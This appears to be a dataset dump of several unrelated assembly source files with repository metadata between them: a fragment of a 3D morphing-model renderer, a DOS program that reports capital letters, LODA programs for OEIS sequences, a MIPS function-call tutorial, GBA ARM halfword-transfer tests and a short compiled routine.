debug_brk "Invalid opcode"
jmp init_loop
;takes ecx=count, esi=ptr to point list
draw_outline: pushm eax,ebx,ecx,edx,esi,edi
;NO_INVERSE_TABLE xor eax,eax
;NO_INVERSE_TABLE mov al,gr_inverse_table[7fffh] ;white
mov eax, 255 ; bright white
call gr_setcolor_
mov ebx,esi
xor eax,eax
mov ax,[ebx] ;get first point
push eax ;save it
outline_loop: xor esi,esi
xor edi,edi
mov si,[ebx]
dec ecx
jz done_loop
mov di,2[ebx]
push ebx
imul esi,size g3s_point
add esi,Interp_point_list
imul edi,size g3s_point
add edi,Interp_point_list
call g3_draw_line
pop ebx
add ebx,2
jmp outline_loop
done_loop: pop edi ;get first point back
imul esi,size g3s_point
add esi,Interp_point_list
imul edi,size g3s_point
add edi,Interp_point_list
call g3_draw_line
popm eax,ebx,ecx,edx,esi,edi
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Special code to draw morphing objects
;define a list of points
morph_defpoints: xor ecx,ecx
mov cx,2[ebp] ;num points
mov edi,Interp_point_list
lea esi,4[ebp]
morph_rotate_list: lea eax,[ecx*2+ecx] ;eax=npoint * 3
lea esi,[esi+eax*4] ;point past points
push esi
mov esi,morph_points ;get alternate points
morph_rotate_loop: call g3_rotate_point
add edi,size g3s_point
add esi,size vms_vector
dec ecx
jnz morph_rotate_loop
pop esi ;restore pointer
mov ebp,esi
next
;define a list of points, with starting point num specified
morph_defp_start: xor ecx,ecx
xor eax,eax
mov ax,w 4[ebp] ;starting point num
imulc eax,size g3s_point ;get ofs of point
add eax,Interp_point_list
mov edi,eax
mov cx,2[ebp] ;num points
lea esi,8[ebp]
jmp morph_rotate_list
;draw a flat-shaded polygon
morph_flatpoly: xor ecx,ecx
mov cx,2[ebp] ;num verts
lea esi,4[ebp] ;point
lea edi,16[ebp] ;vector
;set color
xor eax,eax
mov ax,28[ebp] ;get color
mov ax,interp_color_table[eax*4]
call gr_setcolor_ ;set it
;check and draw
lea esi,30[ebp] ;point number list
xor eax,eax
lodsw
imulc eax,size g3s_point
add eax,Interp_point_list
mov morph_pointlist,eax
xor eax,eax
lodsw
imulc eax,size g3s_point
add eax,Interp_point_list
mov morph_pointlist+4,eax
xor eax,eax
lodsw
imulc eax,size g3s_point
add eax,Interp_point_list
mov morph_pointlist+8,eax
cmp ecx,3 ;3 points is good!
je flat_got3
sub ecx,2 ;tri count
flat_tri_loop: xor edi,edi ;no normal, must compute
pushm ecx,esi
mov ecx,3 ;always draw triangle
lea esi,morph_pointlist
call g3_check_and_draw_poly
popm ecx,esi
mov eax,morph_pointlist+8
mov morph_pointlist+4,eax
xor eax,eax
lodsw
imulc eax,size g3s_point
add eax,Interp_point_list
mov morph_pointlist+8,eax
dec ecx
jnz flat_tri_loop
jmp flat_done_draw
flat_got3:
lea esi,morph_pointlist
xor edi,edi ;no normal, must compute
call g3_check_and_draw_poly
flat_done_draw: xor ecx,ecx
mov cx,2[ebp] ;restore count
and ecx,0fffffffeh
inc ecx ;adjust for pad
lea ebp,30[ebp+ecx*2]
next
;draw a texture map
morph_tmappoly: xor ecx,ecx
mov cx,2[ebp] ;num verts
lea esi,4[ebp] ;point
lea edi,16[ebp] ;normal
;get bitmap
xor edx,edx
mov dx,28[ebp] ;get bitmap number
mov eax,bitmap_ptr
mov edx,[eax+edx*4]
lea esi,30[ebp] ;point number list
mov eax,ecx
and eax,0fffffffeh
inc eax
lea ebx,30[ebp+eax*2] ;get uvl list
;calculate light from surface normal
push esi
lea esi,View_matrix.fvec
lea edi,16[ebp] ;normal
call vm_vec_dotprod
neg eax
;scale light by model light
push edx
mov edx,eax
add eax,eax
add eax,edx ;eax *= 3
sar eax,2 ;eax *= 3/4
add eax,f1_0/4 ;eax = 1/4 + eax * 3/4
fixmul model_light
or eax,eax
jge not_zero
xor eax,eax
not_zero:
pop edx
pop esi
;now eax=plane light value
mov morph_uvls+8,eax
mov morph_uvls+20,eax
mov morph_uvls+32,eax
xor eax,eax
lodsw
imulc eax,size g3s_point
add eax,Interp_point_list
mov morph_pointlist,eax
xor eax,eax
lodsw
imulc eax,size g3s_point
add eax,Interp_point_list
mov morph_pointlist+4,eax
xor eax,eax
lodsw
imulc eax,size g3s_point
add eax,Interp_point_list
mov morph_pointlist+8,eax
cmp ecx,3 ;3 points is good!
jl tmap_done_draw ;something is bad, abort
je tmap_got3
sub ecx,2 ;tri count
push edx
mov edx,[ebx]
mov morph_uvls,edx
mov edx,4[ebx]
mov morph_uvls+4,edx
mov edx,12[ebx]
mov morph_uvls+12,edx
mov edx,16[ebx]
mov morph_uvls+16,edx
mov edx,24[ebx]
mov morph_uvls+24,edx
mov edx,28[ebx]
mov morph_uvls+28,edx
add ebx,3*12
pop edx
tmap_tri_loop: xor edi,edi ;no normal, must compute
pushm ebx,edx,ecx,esi
mov ecx,3 ;always draw triangle
lea esi,morph_pointlist
lea ebx,morph_uvls
call g3_check_and_draw_tmap
popm ebx,edx,ecx,esi
mov eax,morph_pointlist+8
mov morph_pointlist+4,eax
xor eax,eax
lodsw
imulc eax,size g3s_point
add eax,Interp_point_list
mov morph_pointlist+8,eax
push edx
mov edx,morph_uvls+24
mov morph_uvls+12,edx
mov edx,morph_uvls+28
mov morph_uvls+16,edx
mov edx,[ebx]
mov morph_uvls+24,edx
mov edx,4[ebx]
mov morph_uvls+28,edx
add ebx,12
pop edx
dec ecx
jnz tmap_tri_loop
jmp tmap_done_draw
tmap_got3:
;poke in light values
pusha
tmap_l_loop: mov 8[ebx],eax
add ebx,12
dec ecx
jnz tmap_l_loop
popa
lea esi,morph_pointlist
xor edi,edi ;no normal
call g3_check_and_draw_tmap
tmap_done_draw: xor ecx,ecx
mov cx,2[ebp] ;restore count
;jump to next opcode
mov ebx,ecx
and ebx,0fffffffeh
inc ebx ;adjust for pad
lea ebp,30[ebp+ebx*2]
mov eax,ecx
sal ecx,1
add ecx,eax
sal ecx,2 ;ecx=ecx*12
add ebp,ecx ;point past uvls
next
;interpreter to draw polygon model
;takes esi=ptr to object, edi=ptr to array of bitmap pointers,
;eax=ptr to anim angles, ebx=alternate points, edx=light value
g3_draw_morphing_model:
pushm eax,ebx,ecx,edx,esi,edi,ebp
mov bitmap_ptr,edi ;save ptr to bitmap array
mov anim_angles,eax
mov morph_points,ebx
mov model_light,edx
mov ebp,esi ;ebp = interp ptr
;set alternate opcode pointers
push opcode_table[1*4] ;defpoints
push opcode_table[2*4] ;flatpoly
push opcode_table[3*4] ;tmappoly
push opcode_table[7*4] ;defp_start
mov opcode_table[1*4],offset morph_defpoints
mov opcode_table[2*4],offset morph_flatpoly
mov opcode_table[3*4],offset morph_tmappoly
mov opcode_table[7*4],offset morph_defp_start
call_next
pop opcode_table[7*4] ;defp_start
pop opcode_table[3*4] ;tmappoly
pop opcode_table[2*4] ;flatpoly
pop opcode_table[1*4] ;defpoints
popm eax,ebx,ecx,edx,esi,edi,ebp
ret
_TEXT ends
end
| 20.116486
| 78
| 0.709098
|
738e2846d7d62e1b972630d7c1063e9cc80acf39
| 1,755
|
asm
|
Assembly
|
sun.asm
|
Mohamed-94/Group-of-Assembly-Programs-Samples--8086-85-Processors-family-
|
060422e19882bb32c35bf5b8d42aae29eee0d820
|
[
"MIT"
] | 16
|
2018-07-20T03:11:03.000Z
|
2021-12-14T11:18:36.000Z
|
sun.asm
|
Mohamed-94/Group-of-Assembly-Programs-Samples--8086-85-Processors-family-
|
060422e19882bb32c35bf5b8d42aae29eee0d820
|
[
"MIT"
] | null | null | null |
sun.asm
|
Mohamed-94/Group-of-Assembly-Programs-Samples--8086-85-Processors-family-
|
060422e19882bb32c35bf5b8d42aae29eee0d820
|
[
"MIT"
] | 3
|
2018-07-20T03:11:08.000Z
|
2020-09-18T18:57:53.000Z
|
TITLE SUN
.MODEL SMALL
.STACK 100H
.DATA
CR EQU 0DH
LF EQU 0AH
PROMPT DB 'TYPE A LINE OF TEXT',CR,LF,'$'
NOCAP_MSG DB CR,LF,'NO CAPITALS $'
CAP_MSG DB CR,LF,'FIRST CAPITAL ='
FIRST DB ']$'
DB ' LAST CAPITAL = '
LAST DB '@ $'
.CODE
MAIN PROC
; initialize DS
MOV AX,@DATA
MOV DS,AX
;display opening message
LEA DX,prompt
MOV AH,09H
INT 21H
;read and process a line of text
MOV AH,01H
INT 21H
WHILE_:
CMP AL,CR
JE END_WHILE
;if char is capital
CMP AL,'A'
JNGE END_IF
CMP AL,'Z'
JNLE END_IF
; if character precede first capital
CMP AL,FIRST
JNL CHECK_LAST
MOV FIRST,AL
CHECK_LAST:
; if character follow last capital
CMP AL,LAST
JNG END_IF
MOV LAST,AL
END_IF:
INT 21H
JMP WHILE_
END_WHILE:
MOV AH,9
;if no capital were typed
CMP FIRST,']'
JNE CAPS
LEA DX,NOCAP_MSG
JMP DISPLAY
CAPS:
LEA DX,CAP_MSG
DISPLAY:
;INT 21H
;exit to DOS
MOV AH,4CH
INT 21H
MAIN ENDP
END MAIN
;MOV AH,1
;REPEAT:
;INT 21H
;CMP AL ,'
;JNE REPEAT
;MOV CX,80
;MOV AH , 2
;MOV DL , *'
;Top: INT 21h
;LOOP top
;MOV AH , 1
;INT 21h
;CMP AL , y'
;JE then
;CMP AL ,Y'
;JE Then
;JMP else_
;Then: MOV DL,AL
;MOV AH , 2
;INT 21h
;JMP End_if
;else:
;MOV AH ,4ch
;INT 21h
;End_if:
;MOV AH , 1
;INT 21h
;CMP AL , A'
;JNGE End_IF
;CMP AL , Z'
;JNLE End_IF
;MOV DL , AL
;MOV AH , 2
;INT 21h
;End_IF:
;CMP AL , 1
;JE ODD
;CMP AL , 3
;JE ODD
;CMP AL , 2
;JE EVEN
;CMP AL , 4
;JE EVEN
;JMP END_CASE
;ODD: MOV DL , O'
;JMP DISPLAY
;EVEN: MOV DL , E'
;DISPLAY: MOV AH ,2
;INT 21H
;END_CASE:
;MOV AX,@DATA
;MOV DS,AX
;LEA DX,MSG
;MOV AH,2
;MOV CX,256
;MOV DL,0
;Print_Loop:
;INT 21H
;INC DL
;DEC CX
;JNZ PRINT_LOOP
;MOV AH,4CH
;INT 21H
;MAIN ENDP
;END MAIN
| 13
| 42
| 0.624501
|
ed2e5c6bba7a47c1faf39e5fee105915094df5e9
| 416
|
asm
|
Assembly
|
oeis/012/A012019.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/012/A012019.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/012/A012019.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A012019: E.g.f.: exp(sin(arctan(x))).
; Submitted by Christian Krause
; 1,1,1,-2,-11,16,301,-104,-15287,-20096,1239481,4427776,-146243459,-954111872,23567903269,243390205696,-4951201340399,-75389245067264,1307274054385393,28248828019830784,-420773143716828539
mov $1,1
mov $3,$0
lpb $3
sub $0,2
mul $1,$3
sub $3,1
mul $1,$3
sub $4,2
div $1,$4
mul $1,$0
add $2,$1
sub $3,1
lpe
mov $0,$2
add $0,1
| 20.8
| 189
| 0.668269
|
a2fac58515e8b82b0fce5976fa7a77cbd5fa9cbb
| 212
|
asm
|
Assembly
|
IntroductionToFunctions.asm
|
WilsenHernandez/MIPS-Tutorial
|
9d6fe9c4a0db6013c65288f20e1471ea77466171
|
[
"MIT"
] | null | null | null |
IntroductionToFunctions.asm
|
WilsenHernandez/MIPS-Tutorial
|
9d6fe9c4a0db6013c65288f20e1471ea77466171
|
[
"MIT"
] | null | null | null |
IntroductionToFunctions.asm
|
WilsenHernandez/MIPS-Tutorial
|
9d6fe9c4a0db6013c65288f20e1471ea77466171
|
[
"MIT"
] | null | null | null |
.data
.text
main:
addi $a0, $zero, 50
addi $a1, $zero, 100
jal addNumbers
li $v0, 1
move $a0, $v1
syscall
# End Main
li $v0, 10
syscall
addNumbers:
add $v1, $a0, $a1
jr $ra
| 10.095238
| 22
| 0.533019
|
bfbcaf113c9cdf762ca6a36fb07f87be169a88df
| 562
|
asm
|
Assembly
|
oeis/022/A022276.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/022/A022276.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/022/A022276.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A022276: a(n) = n*(19*n - 1)/2.
; 0,9,37,84,150,235,339,462,604,765,945,1144,1362,1599,1855,2130,2424,2737,3069,3420,3790,4179,4587,5014,5460,5925,6409,6912,7434,7975,8535,9114,9712,10329,10965,11620,12294,12987,13699,14430,15180,15949,16737,17544,18370,19215,20079,20962,21864,22785,23725,24684,25662,26659,27675,28710,29764,30837,31929,33040,34170,35319,36487,37674,38880,40105,41349,42612,43894,45195,46515,47854,49212,50589,51985,53400,54834,56287,57759,59250,60760,62289,63837,65404,66990,68595,70219,71862,73524,75205,76905
mul $0,19
bin $0,2
div $0,19
| 80.285714
| 497
| 0.77758
|
575ae2ece1ab869140a211b2058e9d2ed1905d35
| 669
|
asm
|
Assembly
|
oeis/159/A159762.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/159/A159762.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/159/A159762.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A159762: Numerator of Hermite(n, 13/21).
; Submitted by Jon Maiga
; 1,26,-206,-51220,-786644,160251416,7635636856,-649523935216,-64030044264560,2918259736005536,584145244508221216,-10551274514355075904,-5941710299591994211136,-42809778329457726121600,67014596058555904745723776,2270994640334597525538334976,-827557245205995084121928847104,-53564764739757712467567133206016,11015709451384989767167455670120960,1136802650744403177081449654201854976,-155044390066955175914074531110638818304,-24084352900872106617482709708997331052544
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $2,26
mul $3,-441
mul $3,$0
mul $3,2
lpe
mov $0,$1
| 37.166667
| 464
| 0.811659
|
a6c15e9103b8b4361bc12e0fe5387e42213f7e0c
| 492
|
asm
|
Assembly
|
oeis/187/A187109.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/187/A187109.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/187/A187109.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A187109: Decimal expansion of sqrt(2/11).
; Submitted by Christian Krause
; 4,2,6,4,0,1,4,3,2,7,1,1,2,2,0,8,6,8,5,9,6,8,7,5,4,6,4,8,6,7,6,7,8,7,5,2,7,8,0,7,4,8,0,3,2,1,2,8,3,3,9,7,4,1,2,3,6,8,8,1,9,9,0,0,9,2,4,5,6,7,8,4,7,9,5,7,4,9,0,6,5,5,8,9,2,8,3,2,3,6,0,0,5,5,9,4,8,3,0,4
add $0,1
mov $1,1
mov $3,$0
mul $3,4
lpb $3
add $5,$2
add $2,$1
add $1,$5
add $1,$2
mul $2,3
add $2,$1
mov $5,$1
mul $1,2
sub $3,1
lpe
mov $4,10
pow $4,$0
div $2,$4
div $5,$2
mov $0,$5
mod $0,10
| 18.923077
| 201
| 0.53252
|
a08af9d7117006902489aa59d6b8784e66378894
| 4,293
|
asm
|
Assembly
|
arm/halfword_transfer.asm
|
jsmolka/gba-suite
|
a6447c5404c8fc2898ddc51f438271f832083b7e
|
[
"MIT"
] | 31
|
2020-01-18T21:48:54.000Z
|
2021-01-08T11:17:56.000Z
|
arm/halfword_transfer.asm
|
jsmolka/gba-suite
|
a6447c5404c8fc2898ddc51f438271f832083b7e
|
[
"MIT"
] | 8
|
2020-01-19T07:37:23.000Z
|
2020-11-10T17:09:24.000Z
|
arm/halfword_transfer.asm
|
jsmolka/gba-tests
|
a6447c5404c8fc2898ddc51f438271f832083b7e
|
[
"MIT"
] | 6
|
2021-05-28T09:35:20.000Z
|
2021-12-22T18:09:32.000Z
|
halfword_transfer:
; Tests for the halfword data transfer instruction
mem equ r11
mov mem, MEM_IWRAM
add mem, 0x1500
t400:
; ARM 8: Store halfword
mvn r0, 0
strh r0, [mem]
lsr r0, 16
ldr r1, [mem]
cmp r1, r0
bne f400
add mem, 32
b t401
f400:
m_exit 400
t401:
; ARM 8: Load halfword
mvn r0, 0
str r0, [mem]
lsr r0, 16
ldrh r1, [mem]
cmp r1, r0
bne f401
add mem, 32
b t402
f401:
m_exit 401
t402:
; ARM 8: Load unsigned halfword
mov r0, 0x7F00
strh r0, [mem]
ldrsh r1, [mem]
cmp r1, r0
bne f402
add mem, 32
b t403
f402:
m_exit 402
t403:
; ARM 8: Load signed halfword
mov r0, 0xFF00
strh r0, [mem]
mvn r0, 0xFF
ldrsh r1, [mem]
cmp r1, r0
bne f403
add mem, 32
b t404
f403:
m_exit 403
t404:
; ARM 8: Load unsigned byte
mov r0, 0x7F
strb r0, [mem]
ldrsb r1, [mem]
cmp r1, r0
bne f404
add mem, 32
b t405
f404:
m_exit 404
t405:
; ARM 8: Load signed byte
mov r0, 0xFF
strb r0, [mem]
mvn r0, 0
ldrsb r1, [mem]
cmp r1, r0
bne f405
add mem, 32
b t406
f405:
m_exit 405
t406:
; ARM 8: Indexing, writeback and offset types
mov r0, 32
mov r1, 4
mov r2, mem
strh r0, [r2], 4
ldrh r3, [r2, -r1]!
cmp r3, r0
bne f406
cmp r2, mem
bne f406
add mem, 32
b t407
f406:
m_exit 406
t407:
; ARM 8: Aligned store halfword
mov r0, 32
strh r0, [mem, 1]
ldrh r1, [mem]
cmp r1, r0
bne f407
add mem, 32
b t408
f407:
m_exit 407
t408:
; ARM 8: Misaligned load halfword (rotated)
mov r0, 32
strh r0, [mem]
ldrh r1, [mem, 1]
cmp r1, r0, ror 8
bne f408
add mem, 32
b t409
f408:
m_exit 408
t409:
; ARM 8: Misaligned load signed halfword
mov r0, 0xFF00
strh r0, [mem]
mvn r0, 0
ldrsh r1, [mem, 1]
cmp r1, r0
bne f409
add mem, 32
b t410
f409:
m_exit 409
t410:
; ARM 8: Store writeback same register
mov r0, mem
dw 0xE1E000B4 ; strh r0, [r0, 4]!
add r1, mem, 4
cmp r1, r0
bne f410
ldr r1, [r0]
mov r2, mem
bic r2, 0xFF000000
bic r2, 0xFF0000
cmp r2, r1
bne f410
add mem, 32
b t411
f410:
m_exit 410
t411:
; ARM 8: Store writeback same register
mov r0, mem
dw 0xE0C000B4 ; strh r0, [r0], 4
sub r0, 4
cmp r0, mem
bne f411
ldr r1, [r0]
mov r2, mem
bic r2, 0xFF000000
bic r2, 0xFF0000
cmp r2, r1
bne f411
add mem, 32
b t412
f411:
m_exit 411
t412:
; ARM 8: Load writeback same register
mov r0, mem
mov r1, 32
str r1, [r0], -4
dw 0xE1F000B4 ; ldrh r0, [r0, 4]!
cmp r0, 32
bne f412
add mem, 32
b t413
f412:
m_exit 412
t413:
; ARM 8: Load writeback same register
mov r0, mem
mov r1, 32
strh r1, [r0]
dw 0xE0D000B4 ; ldrh r0, [r0], 4
cmp r0, 32
bne f413
add mem, 32
b halfword_transfer_passed
f413:
m_exit 413
halfword_transfer_passed:
restore mem
| 18.665217
| 58
| 0.405078
|
e079664134aff98b3ed246f0aed6ac200f2452b7
| 697
|
asm
|
Assembly
|
oeis/068/A068722.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/068/A068722.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/068/A068722.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A068722: Number of solenoidal flows (flow in = flow out) in a 3 X 3 square array with integer velocities -n .. n.
; 1,35,247,925,2501,5551,10795,19097,31465,49051,73151,105205,146797,199655,265651,346801,445265,563347,703495,868301,1060501,1282975,1538747,1830985,2163001,2538251,2960335,3432997,3960125,4545751,5194051,5909345,6696097,7558915,8502551,9531901,10652005,11868047,13185355,14609401,16145801,17800315,19578847,21487445,23532301,25719751,28056275,30548497,33203185,36027251,39027751,42211885,45586997,49160575,52940251,56933801,61149145,65594347,70277615,75207301,80391901,85840055,91560547,97562305
mul $0,2
add $0,1
pow $0,2
mul $0,3
add $0,2
pow $0,2
div $0,48
mul $0,2
add $0,1
| 53.615385
| 497
| 0.804878
|
4de6dd83b647a0164b986c503ab97ee008e56b9b
| 370
|
asm
|
Assembly
|
burn.asm
|
SvenMichaelKlose/libultimem
|
6fbbff4b6abfa8da0c4177793d2df0caa44dc229
|
[
"MIT"
] | null | null | null |
burn.asm
|
SvenMichaelKlose/libultimem
|
6fbbff4b6abfa8da0c4177793d2df0caa44dc229
|
[
"MIT"
] | null | null | null |
burn.asm
|
SvenMichaelKlose/libultimem
|
6fbbff4b6abfa8da0c4177793d2df0caa44dc229
|
[
"MIT"
] | null | null | null |
.export ultimem_burn_byte
.export _ultimem_burn_byte
.import _ultimem_send_command
.import _ultimem_poll
.importzp s, d, tmp
.import popax
.proc _ultimem_burn_byte
sty tmp
jsr popax
ldy tmp
.endproc
.proc ultimem_burn_byte
sta s
stx s+1
lda #$a0
jsr _ultimem_send_command
tya
ldx #0
sta (s,x)
jmp _ultimem_poll
.endproc
| 13.214286
| 29
| 0.702703
|
35a04152bce6873d8cfa9a27b6cb2817ad1014f8
| 388
|
asm
|
Assembly
|
oeis/132/A132819.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/132/A132819.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/132/A132819.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A132819: A001263 * A127773.
; Submitted by Christian Krause
; 1,1,3,1,9,6,1,18,36,10,1,30,120,100,15,1,45,300,500,225,21,1,63,630,1750,1575,441,28,1,84,1176,4900,7350,4116,784,36,1,108,2016,11760,26460,24696,9408,1296,45,1,135,3240,25200,79380,111132,70560,19440
mov $1,1
lpb $0
add $2,1
sub $0,$2
add $1,1
lpe
bin $1,$0
bin $2,$0
add $0,2
mul $2,$0
mul $1,$2
mov $0,$1
div $0,2
| 21.555556
| 202
| 0.662371
|
fc065bfa236f38431720b0440903f3b107feb1e1
| 908
|
asm
|
Assembly
|
programs/oeis/123/A123087.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/123/A123087.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/123/A123087.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A123087: Sequence of numbers such that a(2*n)+a(n)=n and a(n)is the smallest number such that a(n)>=a(n-1).
; 0,0,1,1,1,1,2,2,3,3,4,4,4,4,5,5,5,5,6,6,6,6,7,7,8,8,9,9,9,9,10,10,11,11,12,12,12,12,13,13,14,14,15,15,15,15,16,16,16,16,17,17,17,17,18,18,19,19,20,20,20,20,21,21,21,21,22,22,22,22,23,23,24,24,25,25,25,25,26,26,26,26,27,27,27,27,28,28,29,29,30,30,30,30,31,31,32,32,33,33,33,33,34,34,35,35,36,36,36,36,37,37,37,37,38,38,38,38,39,39,40,40,41,41,41,41,42,42,43,43,44,44,44,44,45,45,46,46,47,47,47,47,48,48,48,48,49,49,49,49,50,50,51,51,52,52,52,52,53,53,54,54,55,55,55,55,56,56,57,57,58,58,58,58,59,59,59,59,60,60,60,60,61,61,62,62,63,63,63,63,64,64,64,64,65,65,65,65,66,66,67,67,68,68,68,68,69,69,69,69,70,70,70,70,71,71,72,72,73,73,73,73,74,74,75,75,76,76,76,76,77,77,78,78,79,79,79,79,80,80,80,80,81,81,81,81,82,82,83,83
mov $3,$0
add $3,$0
sub $0,$3
mov $2,-2
lpb $0
div $0,$2
add $1,$0
lpe
| 75.666667
| 721
| 0.640969
|
52a25f7715877a6b489fe717e59a22aeb34e9f47
| 706
|
asm
|
Assembly
|
IntelFspPkg/Library/BaseFspDebugLibSerialPort/Ia32/FspDebug.asm
|
tvbroughton/ModernFW
|
83f997e58dcab4238dc537f38730d98bf5dad0df
|
[
"Python-2.0",
"Zlib",
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent",
"BSD-3-Clause"
] | 1
|
2019-04-18T02:11:51.000Z
|
2019-04-18T02:11:51.000Z
|
IntelFspPkg/Library/BaseFspDebugLibSerialPort/Ia32/FspDebug.asm
|
tvbroughton/ModernFW
|
83f997e58dcab4238dc537f38730d98bf5dad0df
|
[
"Python-2.0",
"Zlib",
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent",
"BSD-3-Clause"
] | null | null | null |
IntelFspPkg/Library/BaseFspDebugLibSerialPort/Ia32/FspDebug.asm
|
tvbroughton/ModernFW
|
83f997e58dcab4238dc537f38730d98bf5dad0df
|
[
"Python-2.0",
"Zlib",
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent",
"BSD-3-Clause"
] | 2
|
2021-07-04T02:59:41.000Z
|
2021-07-18T08:07:16.000Z
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2014, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Abstract:
;
; FSP Debug functions
;
;------------------------------------------------------------------------------
.386
.model flat,C
.code
;------------------------------------------------------------------------------
; UINT32 *
; EFIAPI
; GetStackFramePointer (
; VOID
; );
;------------------------------------------------------------------------------
GetStackFramePointer PROC PUBLIC
mov eax, ebp
ret
GetStackFramePointer ENDP
END
| 24.344828
| 80
| 0.330028
|
c903bae0a40fedfc4f59a6eb4c315a78c6903eb4
| 308
|
asm
|
Assembly
|
test_1.asm
|
acastrauss/compiler_project
|
540e96493350d5cb34a7259a74bb1ecb1f3a3a2b
|
[
"MIT"
] | null | null | null |
test_1.asm
|
acastrauss/compiler_project
|
540e96493350d5cb34a7259a74bb1ecb1f3a3a2b
|
[
"MIT"
] | null | null | null |
test_1.asm
|
acastrauss/compiler_project
|
540e96493350d5cb34a7259a74bb1ecb1f3a3a2b
|
[
"MIT"
] | null | null | null |
main:
PUSH %14
MOV %15,%14
SUBS %15,$8,%15
@main_body:
MOV -8(%14),%0
ADDS $1,-8(%14),-8(%14)
ADDS $2,%0,%0
SUBS %0,$5,%0
MOV %0,-4(%14)
ADDS $1,-4(%14),-4(%14)
MOV -4(%14),%1
SUBS $3,%1,%1
MOV %1,-8(%14)
MOV $0,%13
JMP @main_exit
@main_exit:
MOV %14,%15
POP %14
RET
| 14.666667
| 25
| 0.480519
|
c189d90698f70a44d86fe5c31f32d27d3d6f1c39
| 4,510
|
asm
|
Assembly
|
coverage/IN_CTS/0436-COVERAGE-nir-lower-vars-to-ssa-650/work/variant/1_spirv_asm/shader.frag.asm
|
asuonpaa/ShaderTests
|
6a3672040dcfa0d164d313224446496d1775a15e
|
[
"Apache-2.0"
] | null | null | null |
coverage/IN_CTS/0436-COVERAGE-nir-lower-vars-to-ssa-650/work/variant/1_spirv_asm/shader.frag.asm
|
asuonpaa/ShaderTests
|
6a3672040dcfa0d164d313224446496d1775a15e
|
[
"Apache-2.0"
] | 47
|
2021-03-11T07:42:51.000Z
|
2022-03-14T06:30:14.000Z
|
